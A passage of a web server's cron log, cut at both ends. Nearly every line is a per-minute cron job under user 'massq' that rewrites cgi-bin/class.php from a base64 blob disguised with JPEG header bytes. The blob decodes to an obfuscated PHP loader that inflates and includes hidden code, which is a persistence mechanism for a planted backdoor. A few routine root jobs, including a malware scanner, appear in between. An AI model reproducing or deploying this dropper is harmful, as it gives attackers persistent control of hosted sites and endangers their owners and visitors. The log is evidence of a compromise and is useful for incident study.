"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:43:01 server CROND[12657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:44:01 server CROND[12829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:45:01 server CROND[12910]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 00:45:01 server CROND[12911]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 00:45:01 server CROND[12913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:46:01 server CROND[13028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:47:01 server CROND[13092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:48:01 server CROND[13163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:49:01 server CROND[13332]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:50:01 server CROND[13400]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 00:50:01 server CROND[13402]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 00:50:01 server CROND[13401]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 00:50:01 server CROND[13407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:50:01 server CROND[13404]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 00:51:01 server CROND[13535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:52:01 server CROND[13608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:53:01 server CROND[13678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:54:01 server CROND[13744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:55:01 server CROND[13950]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 00:55:01 server CROND[13951]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 00:55:01 server CROND[13952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5t